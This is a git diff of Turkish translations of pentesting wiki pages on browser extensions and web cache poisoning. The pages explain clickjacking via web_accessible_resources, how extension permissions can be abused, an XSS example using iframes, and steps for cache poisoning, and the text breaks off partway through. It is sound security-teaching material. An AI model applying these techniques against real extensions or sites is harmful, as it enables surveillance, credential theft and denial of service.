[web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) tespiti ve Chrome uzantısı parmak izini oluşturmak için otomatik JavaScript üretimi. - **Potansiyel Clickjacking Analizi**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) direktifi ayarlanmış uzantı HTML sayfalarının tespiti. Bu sayfaların amacı doğrultusunda clickjacking'e karşı potansiyel olarak zayıf olabilirler. - **İzin Uyarısı görüntüleyici**: uzantıyı yüklemeye çalışan bir kullanıcıya gösterilecek tüm Chrome izin istem uyarılarının listesini gösterir. - **Tehlikeli Fonksiyon(lar)**: bir saldırgan tarafından potansiyel olarak istismar edilebilecek tehlikeli fonksiyonların yerini gösterir (örneğin, innerHTML, chrome.tabs.executeScript gibi fonksiyonlar). diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index 8440e93d4..4dadd0f3e 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -11,9 +11,9 @@ ClickJacking'in ne olduğunu bilmiyorsanız kontrol edin: ../clickjacking.md {{#endref}} -Uzantılar, **`manifest.json`** dosyasını içerir ve bu JSON dosyasında `web_accessible_resources` alanı vardır. İşte [Chrome belgelerinde](https://developer.chrome.com/extensions/manifest/web_accessible_resources) bununla ilgili söylenenler: +Uzantılar, **`manifest.json`** dosyasını içerir ve bu JSON dosyası `web_accessible_resources` alanına sahiptir. İşte [Chrome belgelerinde](https://developer.chrome.com/extensions/manifest/web_accessible_resources) bununla ilgili söylenenler: -> Bu kaynaklar, **`chrome-extension://[PACKAGE ID]/[PATH]`** URL'si aracılığıyla bir web sayfasında mevcut olacaktır; bu, **`extension.getURL method`** ile oluşturulabilir. Beyaz listeye alınmış kaynaklar uygun CORS başlıkları ile sunulur, bu nedenle XHR gibi mekanizmalar aracılığıyla erişilebilirler.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) +> Bu kaynaklar, **`chrome-extension://[PACKAGE ID]/[PATH]`** URL'si aracılığıyla bir web sayfasında mevcut olacaktır; bu URL, **`extension.getURL method`** ile oluşturulabilir. Beyaz listeye alınmış kaynaklar uygun CORS başlıkları ile sunulur, bu nedenle XHR gibi mekanizmalar aracılığıyla erişilebilirler.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) Bir tarayıcı uzantısındaki **`web_accessible_resources`**, yalnızca web üzerinden erişilebilir değildir; aynı zamanda uzantının doğal ayrıcalıklarıyla da çalışır. Bu, aşağıdakileri yapabilme yeteneğine sahip oldukları anlamına gelir: @@ -32,7 +32,7 @@ PrivacyBadger uzantısında, `skin/` dizininin aşağıdaki şekilde `web_access "icons/*" ] ``` -Bu yapılandırma potansiyel bir güvenlik sorununa yol açtı. Özellikle, tarayıcıdaki PrivacyBadger simgesi ile etkileşimde bulunulduğunda render edilen `skin/popup.html` dosyası, bir `iframe` içinde gömülebilir. Bu gömme, kullanıcıları "Bu Web Sitesi için PrivacyBadger'ı Devre Dışı Bırak" butonuna yanlışlıkla tıklamaya kandırmak için sömürülebilir. Böyle bir eylem, PrivacyBadger korumasını devre dışı bırakarak kullanıcının gizliliğini tehlikeye atar ve kullanıcıyı artan izlemeye maruz bırakabilir. Bu istismarın görsel bir gösterimi, [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm) adresinde sağlanan bir ClickJacking video örneğinde görülebilir. +Bu yapılandırma, potansiyel bir güvenlik sorununa yol açtı. Özellikle, tarayıcıdaki PrivacyBadger simgesi ile etkileşimde bulunulduğunda render edilen `skin/popup.html` dosyası, bir `iframe` içinde gömülebilir. Bu gömme, kullanıcıları "Bu Web Sitesi için PrivacyBadger'ı Devre Dışı Bırak" butonuna yanlışlıkla tıklamaya kandırmak için sömürülebilir. Böyle bir eylem, PrivacyBadger korumasını devre dışı bırakarak kullanıcının gizliliğini tehlikeye atar ve kullanıcıyı artan izlemeye maruz bırakabilir. Bu istismarın görsel bir gösterimi, [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm) adresinde sağlanan bir ClickJacking video örneğinde görülebilir. Bu güvenlik açığını gidermek için basit bir çözüm uygulandı: `/skin/*`'in `web_accessible_resources` listesinden kaldırılması. Bu değişiklik, `skin/` dizininin içeriğinin web erişilebilir kaynaklar aracılığıyla erişilemez veya manipüle edilemez olmasını sağlayarak riski etkili bir şekilde azalttı. diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index d448a8eff..bf10114ae 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -10,7 +10,7 @@ Önceki manifest, uzantının `storage` iznine ihtiyaç duyduğunu belirtir. Bu, verilerini kalıcı olarak depolamak için [depolama API'sini](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) kullanabileceği anlamına gelir. Kullanıcılara belirli bir kontrol seviyesi veren çerezler veya `localStorage` API'lerinin aksine, **uzantı depolaması genellikle yalnızca uzantıyı kaldırarak temizlenebilir**. -Bir uzantı, **`manifest.json`** dosyasında belirtilen izinleri talep edecektir ve uzantıyı yükledikten sonra, **her zaman tarayıcınızdaki izinlerini kontrol edebilirsiniz**, bu resimde gösterildiği gibi: +Bir uzantı, **`manifest.json`** dosyasında belirtilen izinleri talep edecektir ve uzantıyı yükledikten sonra, **her zaman tarayıcınızda izinlerini kontrol edebilirsiniz**, bu resimde gösterildiği gibi:
@@ -18,7 +18,7 @@ Bir Chromium Tarayıcı Uzantısının talep edebileceği [**tam izin listesine ### `host_permissions` -İsteğe bağlı ancak güçlü bir ayar olan **`host_permissions`**, uzantının [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) ve [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) gibi API'ler aracılığıyla hangi hostlarla etkileşimde bulunabileceğini belirtir. +İsteğe bağlı ancak güçlü bir ayar olan **`host_permissions`**, uzantının [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) ve [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) gibi API'ler aracılığıyla hangi ana bilgisayarlarla etkileşimde bulunabileceğini belirtir. Aşağıdaki `host_permissions` temelde her web'e izin verir: ```json @@ -37,13 +37,13 @@ Aşağıdaki `host_permissions` temelde her web'e izin verir: "" ] ``` -Bu, tarayıcı uzantısının serbestçe erişebileceği hostlardır. Bunun nedeni, bir tarayıcı uzantısı **`fetch("https://gmail.com/")`** çağrısı yaptığında CORS tarafından kısıtlanmamasıdır. +Bu, tarayıcı uzantısının serbestçe erişebileceği ana bilgisayarlardır. Bunun nedeni, bir tarayıcı uzantısı **`fetch("https://gmail.com/")`** çağrısı yaptığında CORS tarafından kısıtlanmamasıdır. ## `permissions` ve `host_permissions` istismar etme ### Sekmeler -Ayrıca, **`host_permissions`** “gelişmiş” [**sekme API'si**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **işlevselliğini de açar.** Uzantının [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) çağrısını yapmasına ve yalnızca **kullanıcının tarayıcı sekmelerinin listesini** almakla kalmayıp aynı zamanda hangi **web sayfasının (adres ve başlık anlamında) yüklü olduğunu öğrenmesine** olanak tanır. +Ayrıca, **`host_permissions`** “gelişmiş” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **işlevselliğini de açar.** Uzantının [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) çağrısını yapmasına ve yalnızca **kullanıcının tarayıcı sekmelerinin listesini** almakla kalmayıp aynı zamanda hangi **web sayfasının (adres ve başlık anlamında) yüklü olduğunu öğrenmesine** olanak tanır. > [!CAUTION] > Bununla kalmaz, [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **gibi dinleyiciler de çok daha kullanışlı hale gelir.** Bu dinleyiciler, yeni bir sayfa bir sekmeye yüklendiğinde bildirim alır. @@ -52,38 +52,38 @@ Ayrıca, **`host_permissions`** “gelişmiş” [**sekme API'si**](https://deve İçerik betikleri, uzantı manifestosuna statik olarak yazılmak zorunda değildir. Yeterli **`host_permissions`** verildiğinde, **uzantılar bunları dinamik olarak yükleyebilir** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **veya** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) çağrısını yaparak. -Her iki API de yalnızca uzantılarda içerik betiği olarak bulunan dosyaları değil, aynı zamanda **rastgele kodu** da çalıştırmaya olanak tanır. İlki, JavaScript kodunu bir dize olarak geçmeye izin verirken, ikincisi, enjekte edilebilirlik açıklarını azaltan bir JavaScript fonksiyonu bekler. Yine de, her iki API de kötüye kullanıldığında büyük zararlara yol açabilir. +Her iki API de yalnızca uzantılarda içerik betiği olarak bulunan dosyaları değil, aynı zamanda **rastgele kodu** da çalıştırmaya olanak tanır. İlki, JavaScript kodunu bir dize olarak geçmeye izin verirken, ikincisi, enjeksiyon güvenlik açıklarına daha az eğilimli olan bir JavaScript fonksiyonu bekler. Yine de, her iki API de kötüye kullanıldığında büyük zararlara yol açabilir. > [!CAUTION] -> Yukarıdaki yeteneklere ek olarak, içerik betikleri örneğin **kimlik bilgilerini** web sayfalarına girildiğinde **yakalayabilir.** Onları kötüye kullanmanın bir başka klasik yolu, her bir web sitesine **reklam enjekte etmektir.** Haber sitelerinin güvenilirliğini kötüye kullanmak için **dolandırıcılık mesajları** eklemek de mümkündür. Son olarak, **banka** web sitelerini **manipüle ederek para transferlerini yönlendirebilirler.** +> Yukarıdaki yeteneklere ek olarak, içerik betikleri örneğin **kimlik bilgilerini** web sayfalarına girildiğinde **yakalayabilir.** Onları kötüye kullanmanın bir başka klasik yolu, her bir web sitesine **reklam enjekte etmektir.** Haber sitelerinin güvenilirliğini kötüye kullanmak için **dolandırıcılık mesajları** eklemek de mümkündür. Son olarak, **banka** web sitelerini para transferlerini yönlendirmek için **manipüle edebilirler.** ### Dolaylı ayrıcalıklar -Bazı uzantı ayrıcalıkları **açıkça beyan edilmek zorunda değildir.** Bir örnek, [sekme API'si](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): temel işlevselliği herhangi bir ayrıcalık olmaksızın erişilebilir. Herhangi bir uzantı, sekmeleri açtığınızda ve kapattığınızda bildirim alabilir, yalnızca bu sekmelerin hangi web siteleriyle ilişkili olduğunu bilmeyecektir. +Bazı uzantı ayrıcalıkları **açıkça beyan edilmek zorunda değildir.** Bir örnek, [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): temel işlevselliği herhangi bir ayrıcalık olmaksızın erişilebilir. Herhangi bir uzantı, sekmeleri açtığınızda ve kapattığınızda bildirim alabilir, yalnızca bu sekmelerin hangi web siteleriyle ilişkili olduğunu bilmeyecektir. -Görünüşte zararsız mı? [tabs.create() API'si](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) biraz daha az zararsızdır. **Yeni bir sekme oluşturmak için kullanılabilir,** bu da [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) ile temelde aynıdır ve herhangi bir web sitesi tarafından çağrılabilir. Ancak `window.open()` **açılır pencere engelleyicisine tabi iken, `tabs.create()` değildir.** +Görünüşte zararsız mı? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) biraz daha az zararsızdır. Bu, **yeni bir sekme oluşturmak için** kullanılabilir, temelde [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) ile aynı işlevi görür ve herhangi bir web sitesi tarafından çağrılabilir. Ancak `window.open()` **açılır pencere engelleyicisine tabi iken, `tabs.create()` değildir.** > [!CAUTION] > Bir uzantı istediği zaman herhangi bir sayıda sekme oluşturabilir. -`tabs.create()` parametrelerine göz attığınızda, yeteneklerinin `window.open()`'un kontrol edebileceğinden çok daha öteye gittiğini de göreceksiniz. Ve Firefox, bu API ile `data:` URI'lerinin kullanılmasına izin vermezken, Chrome'un böyle bir koruması yoktur. **Bu tür URI'lerin üst düzeyde kullanımı,** [**oltalama için kötüye kullanıldığı gerekçesiyle yasaklanmıştır**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** +Olası `tabs.create()` parametrelerine göz attığınızda, yeteneklerinin `window.open()`'un kontrol edebileceğinden çok daha öteye gittiğini de fark edeceksiniz. Ve Firefox, bu API ile `data:` URI'lerinin kullanılmasına izin vermezken, Chrome'un böyle bir koruması yoktur. **Bu tür URI'lerin üst düzeyde kullanımı,** [**oltalama için kötüye kullanıldığı gerekçesiyle yasaklanmıştır**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** [**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) `tabs.create()` ile çok benzer, ancak **mevcut bir sekmeyi değiştirir.** Yani, kötü niyetli bir uzantı örneğin rastgele bir reklam sayfasını sekmelerinizden birine yükleyebilir ve ilgili sekmeyi de etkinleştirebilir. -### Webcam, konum ve arkadaşları +### Web kamerası, coğrafi konum ve arkadaşlar -Web sitelerinin özel izinler talep edebileceğini muhtemelen biliyorsunuzdur, örneğin webcam'inize (video konferans araçları) veya coğrafi konumunuza (haritalar) erişmek için. Bu, kötüye kullanma potansiyeli yüksek olan bir özelliktir, bu nedenle kullanıcıların her seferinde bunu hala istediklerini onaylamaları gerekir. +Web sitelerinin özel izinler talep edebileceğini muhtemelen biliyorsunuzdur, örneğin web kameranızı (video konferans araçları) veya coğrafi konumunuzu (haritalar) erişmek için. Bu, kötüye kullanma potansiyeli olan özelliklerdir, bu nedenle kullanıcıların her seferinde bunu hala istediklerini onaylamaları gerekir. > [!CAUTION] -> Tarayıcı uzantıları için durum böyle değil. **Eğer bir tarayıcı uzantısı** [**webcam'inize veya mikrofonunuza erişim istiyorsa**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, yalnızca bir kez izin istemesi gerekir.** +> Tarayıcı uzantıları için durum böyle değildir. **Eğer bir tarayıcı uzantısı** [**web kameranıza veya mikrofonunuza erişim istiyorsa**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, yalnızca bir kez izin istemesi gerekir.** -Tipik olarak, bir uzantı bunu kurulduktan hemen sonra yapar. Bu istem kabul edildiğinde, **webcam erişimi her zaman mümkündür**, kullanıcı bu noktada uzantıyla etkileşimde bulunmasa bile. Evet, bir kullanıcı yalnızca uzantının gerçekten webcam erişimine ihtiyacı varsa bu istemi kabul eder. Ancak bundan sonra, uzantının gizlice hiçbir şey kaydetmemesi için ona güvenmeleri gerekir. +Tipik olarak, bir uzantı bunu kurulduktan hemen sonra yapar. Bu istem kabul edildiğinde, **web kamera erişimi her zaman mümkündür**, kullanıcı bu noktada uzantıyla etkileşimde bulunmasa bile. Evet, bir kullanıcı yalnızca uzantının gerçekten web kamera erişimine ihtiyacı varsa bu istemi kabul eder. Ancak bundan sonra, uzantının gizlice hiçbir şey kaydetmemesi için ona güvenmeleri gerekir. -[**Tam coğrafi konumunuza**](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) veya [panonuzun içeriğine](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API) erişim sağlamak için açıkça izin vermek tamamen gereksizdir. **Bir uzantı, manifestosunun** [**izinler bölümüne**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **`geolocation` veya `clipboard` ekler.** Bu erişim ayrıcalıkları, uzantı yüklendiğinde dolaylı olarak verilir. Bu nedenle, bu ayrıcalıklara sahip kötü niyetli veya tehlikeye atılmış bir uzantı, hareket profilinizi oluşturabilir veya kopyalanan şifreler için panonuzu izleyebilir, siz hiçbir şey fark etmeden. +[**Tam coğrafi konumunuza**](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) veya [panonuzun içeriğine](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API) erişim sağlamak için açıkça izin vermek tamamen gereksizdir. **Bir uzantı, manifestosunun** [**izinler girişine**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **`geolocation` veya `clipboard` ekler.** Bu erişim ayrıcalıkları, uzantı yüklendiğinde dolaylı olarak verilir. Böylece, bu ayrıcalıklara sahip kötü niyetli veya tehlikeye atılmış bir uzantı, hareket profilinizi oluşturabilir veya kopyalanan şifreler için panonuzu izleyebilir, siz hiçbir şey fark etmeden. -**`history`** anahtar kelimesinin uzantı manifestosunun [izinler bölümüne](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) eklenmesi, **`history API'sine** [**erişim sağlar**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Bu, kullanıcının tüm tarayıcı geçmişini bir seferde almasına olanak tanır, kullanıcının bu web sitelerini tekrar ziyaret etmesini beklemeden. +**`history`** anahtar kelimesinin uzantı manifestosunun [izinler girişine](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) eklenmesi, **`history API`**'ye [**erişim sağlar**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Bu, kullanıcının tüm tarayıcı geçmişini bir seferde almasına olanak tanır, kullanıcının bu web sitelerini tekrar ziyaret etmesini beklemeden. -**`bookmarks`** **izinleri** benzer kötüye kullanma potansiyeline sahiptir, bu, **tüm yer imlerini** [**yer imleri API'si**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) aracılığıyla okumaya olanak tanır. +**`bookmarks`** **izinleri** benzer kötüye kullanma potansiyeline sahiptir, bu, **tüm yer imlerini** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) aracılığıyla okumaya olanak tanır. ### Depolama izni @@ -97,11 +97,11 @@ Bir Chromium Tarayıcı Uzantısının talep edebileceği [**tam izinler listesi ## Önleme -Google'ın geliştirici politikası, uzantıların işlevselliği için gerekli olandan daha fazla ayrıcalık talep etmesini açıkça yasaklar, bu da aşırı izin taleplerini etkili bir şekilde azaltır. Bir tarayıcı uzantısının bu sınırı aştığı bir örnek, uzantının bir eklenti mağazası yerine tarayıcı ile birlikte dağıtılmasıdır. +Google'ın geliştirici politikası, uzantıların işlevselliği için gerekli olandan daha fazla ayrıcalık talep etmesini açıkça yasaklar ve böylece aşırı izin taleplerini etkili bir şekilde azaltır. Bir tarayıcı uzantısının bu sınırı aştığı bir örnek, uzantının bir eklenti mağazası yerine tarayıcı ile birlikte dağıtılmasıdır. Tarayıcılar, uzantı ayrıcalıklarının kötüye kullanılmasını daha da sınırlayabilir. Örneğin, ekran kaydı için kullanılan Chrome'un [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) ve [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API'leri, kötüye kullanımı en aza indirmek için tasarlanmıştır. tabCapture API'si yalnızca uzantı simgesine tıklamak gibi doğrudan kullanıcı etkileşimi ile etkinleştirilebilirken, desktopCapture, kaydedilecek pencere için kullanıcı onayı gerektirir ve gizli kayıt faaliyetlerini önler. -Ancak, güvenlik önlemlerinin sıkılaştırılması genellikle uzantıların esnekliğini ve kullanıcı dostluğunu azaltır. [activeTab izni](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) bu dengeyi göstermektedir. Uzantıların tüm internet üzerinde host ayrıcalıkları talep etme gereğini ortadan kaldırmak için tanıtılmıştır, bu da uzantıların yalnızca kullanıcı tarafından açıkça etkinleştirildiğinde mevcut sekmeye erişmesine olanak tanır. Bu model, kullanıcı tarafından başlatılan eylemler gerektiren uzantılar için etkili olsa da, otomatik veya önleyici eylemler gerektirenler için yetersiz kalır ve bu da kullanım kolaylığını ve anlık yanıt verme yeteneğini tehlikeye atar. +Ancak, güvenlik önlemlerinin sıkılaştırılması genellikle uzantıların esnekliğini ve kullanıcı dostluğunu azaltır. [activeTab izni](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) bu dengeyi göstermektedir. Bu, uzantıların tüm internet üzerinde ana bilgisayar ayrıcalıkları talep etme gereğini ortadan kaldırmak için tanıtılmıştır ve uzantıların yalnızca kullanıcı tarafından açıkça etkinleştirildiğinde mevcut sekmeye erişmesine izin verir. Bu model, kullanıcı tarafından başlatılan eylemler gerektiren uzantılar için etkili olsa da, otomatik veya önleyici eylemler gerektirenler için yetersiz kalır ve böylece kullanım kolaylığını ve anında yanıt verme yeteneğini tehlikeye atar. ## **Referanslar** diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md index 01aa7f9b3..cb29f7fab 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md @@ -4,7 +4,7 @@ ## Iframe Üzerinden Cross-Site Scripting (XSS) -Bu yapılandırmada, bir **içerik scripti** bir Iframe oluşturmak için uygulanır ve Iframe'in kaynağı olarak sorgu parametreleri içeren bir URL kullanılır: +Bu yapılandırmada, bir **içerik betiği** bir Iframe oluşturmak için uygulanır ve Iframe'in kaynağı olarak sorgu parametreleri içeren bir URL kullanılır: ```javascript chrome.storage.local.get("message", (result) => { let constructedURL = @@ -46,7 +46,7 @@ Aşırı izin veren bir İçerik Güvenlik Politikası, örneğin: ``` JavaScript'in çalıştırılmasına izin verir, bu da sistemi XSS saldırılarına karşı savunmasız hale getirir. -XSS'i tetiklemek için alternatif bir yaklaşım, bir Iframe öğesi oluşturmak ve kaynağını zararlı scripti `content` parametresi olarak içerecek şekilde ayarlamaktır: +XSS'i tetiklemek için alternatif bir yaklaşım, bir Iframe öğesi oluşturmak ve kaynağını `content` parametresi olarak zararlı scripti içerecek şekilde ayarlamaktır: ```javascript let newFrame = document.createElement("iframe") newFrame.src = @@ -94,7 +94,7 @@ Bu zafiyeti artırmak için, ikincil bir **clickjacking** zafiyeti istismar edil [...] ], ``` -Özellikle, **`/html/bookmarks.html`** sayfası çerçevelemeye karşı hassastır, bu nedenle **clickjacking**'e karşı savunmasızdır. Bu zafiyet, sayfayı bir saldırganın sitesinin içinde çerçevelemek için kullanılır ve arayüzü yanıltıcı bir şekilde yeniden tasarlamak için DOM öğeleri ile örtülür. Bu manipülasyon, kurbanların alttaki uzantı ile istemeden etkileşimde bulunmasına yol açar. +Özellikle, **`/html/bookmarks.html`** sayfası çerçevelemeye karşı hassastır, bu nedenle **clickjacking**'e karşı savunmasızdır. Bu zafiyet, sayfayı bir saldırganın sitesinin içinde çerçevelemek için kullanılır ve arayüzü yanıltıcı bir şekilde yeniden tasarlamak için DOM öğeleri ile örtülür. Bu manipülasyon, kurbanların alttaki uzantıyla istemeden etkileşimde bulunmasına yol açar. ## Referanslar diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 024ac6317..8f06e76f3 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -16,8 +16,8 @@ Cache zehirleme, istemci tarafı önbelleğini manipüle ederek istemcilerin bek Cache zehirleme saldırısının gerçekleştirilmesi birkaç adım içerir: 1. **Anahtarsız Girdilerin Belirlenmesi**: Bunlar, bir isteğin önbelleğe alınması için gerekli olmasa da, sunucunun döndürdüğü yanıtı değiştirebilen parametrelerdir. Bu girdilerin belirlenmesi, önbelleği manipüle etmek için sömürülebileceğinden kritik öneme sahiptir. -2. **Anahtarsız Girdilerin Sömürülmesi**: Anahtarsız girdiler belirlendikten sonra, bir sonraki adım bu parametreleri saldırganın yararına sunucunun yanıtını değiştirmek için nasıl kötüye kullanacağını bulmaktır. -3. **Zehirlenmiş Yanıtın Önbelleğe Alındığının Garantilenmesi**: Son adım, manipüle edilmiş yanıtın önbelleğe kaydedildiğinden emin olmaktır. Bu şekilde, önbellek zehirlendiği sürede etkilenen sayfaya erişen herhangi bir kullanıcı kirlenmiş yanıtı alacaktır. +2. **Anahtarsız Girdilerin Sömürülmesi**: Anahtarsız girdiler belirlendikten sonra, bir sonraki adım bu parametreleri saldırgana fayda sağlayacak şekilde sunucunun yanıtını değiştirmek için nasıl kötüye kullanılacağını bulmaktır. +3. **Zehirlenmiş Yanıtın Önbelleğe Alındığının Garantilenmesi**: Son adım, manipüle edilmiş yanıtın önbelleğe kaydedildiğinden emin olmaktır. Bu şekilde, önbellek zehirlenirken etkilenen sayfaya erişen herhangi bir kullanıcı kirlenmiş yanıtı alacaktır. ### Keşif: HTTP başlıklarını kontrol et @@ -25,7 +25,7 @@ Genellikle, bir yanıt **önbelleğe kaydedildiğinde** bununla ilgili bir **ba ### Keşif: Önbellek hata kodları -Eğer yanıtın bir önbelleğe kaydedildiğini düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz, bu da **400 durum kodu** ile yanıtlanmalıdır. Ardından isteği normal bir şekilde erişmeyi deneyin ve eğer **yanıt 400 durum kodu ise**, bunun zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz). +Eğer yanıtın bir önbelleğe kaydedildiğini düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz, bu da **400 durum kodu** ile yanıtlanmalıdır. Ardından isteği normal bir şekilde erişmeye çalışın ve eğer **yanıt 400 durum koduysa**, bunun zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz). Daha fazla seçenek bulabilirsiniz: @@ -43,22 +43,22 @@ Yanıtı değiştirebilecek **parametreleri ve başlıkları zorlamak için** [* ``` ### Arka uç sunucudan zararlı bir yanıt elde etme -Parametre/başlık belirlendikten sonra, **temizlenme** şekline ve **nerede** **yansıtıldığına** veya başlıktan gelen yanıtı nasıl etkilediğine bakın. Bunu herhangi bir şekilde kötüye kullanabilir misiniz (XSS gerçekleştirmek veya kontrolünüzde bir JS kodu yüklemek? DoS yapmak?...) +Parametre/başlık belirlendikten sonra, **temizlenme** şekline ve **nerede** **yansıtıldığına** veya başlıktan gelen yanıtı nasıl etkilediğine bakın. Bunu herhangi bir şekilde kötüye kullanabilir misiniz (bir XSS gerçekleştirmek veya kontrolünüzde bir JS kodu yüklemek? bir DoS gerçekleştirmek?...) ### Yanıtı önbelleğe alma -Kötüye kullanılabilecek **sayfayı** **belirledikten** sonra, hangi **parametre**/**başlık** kullanılacağını ve **nasıl** kötüye kullanılacağını belirledikten sonra, sayfayı önbelleğe almanız gerekir. Önbelleğe almak istediğiniz kaynağa bağlı olarak bu biraz zaman alabilir, birkaç saniye boyunca denemek zorunda kalabilirsiniz. +Kötüye kullanılabilecek **sayfayı** **belirledikten** sonra, hangi **parametre**/**başlık** kullanılacağını ve **nasıl** kötüye kullanılacağını belirledikten sonra, sayfanın önbelleğe alınmasını sağlamanız gerekir. Önbelleğe almak istediğiniz kaynağa bağlı olarak bu biraz zaman alabilir, birkaç saniye boyunca denemeye devam etmeniz gerekebilir. -Yanıttaki **`X-Cache`** başlığı çok faydalı olabilir çünkü istek önbelleğe alınmadığında değeri **`miss`** ve önbelleğe alındığında değeri **`hit`** olabilir.\ +Yanıttaki **`X-Cache`** başlığı çok faydalı olabilir çünkü istek önbelleğe alınmadığında **`miss`** değerine ve önbelleğe alındığında **`hit`** değerine sahip olabilir.\ **`Cache-Control`** başlığı da bir kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki ne zaman önbelleğe alınacağını bilmek için ilginçtir: `Cache-Control: public, max-age=1800` -Bir diğer ilginç başlık **`Vary`**. Bu başlık genellikle **önbellek anahtarı** olarak **işlem gören ek başlıkları** **belirtmek için** kullanılır, normalde anahtarsız olsalar bile. Bu nedenle, kullanıcı hedeflediği kurbanın `User-Agent`'ını biliyorsa, o belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir. +Bir diğer ilginç başlık **`Vary`**. Bu başlık genellikle **önbellek anahtarı** olarak **işlem gören ek başlıkları** **belirtmek** için kullanılır, normalde anahtarsız olsalar bile. Bu nedenle, kullanıcı hedeflediği kurbanın `User-Agent`'ını biliyorsa, o belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir. -Önbellekle ilgili bir başlık daha **`Age`**. Bu, nesnenin proxy önbelleğinde kaç saniye kaldığını tanımlar. +Önbellek ile ilgili bir başlık daha **`Age`**. Bu, nesnenin proxy önbelleğinde kaç saniye 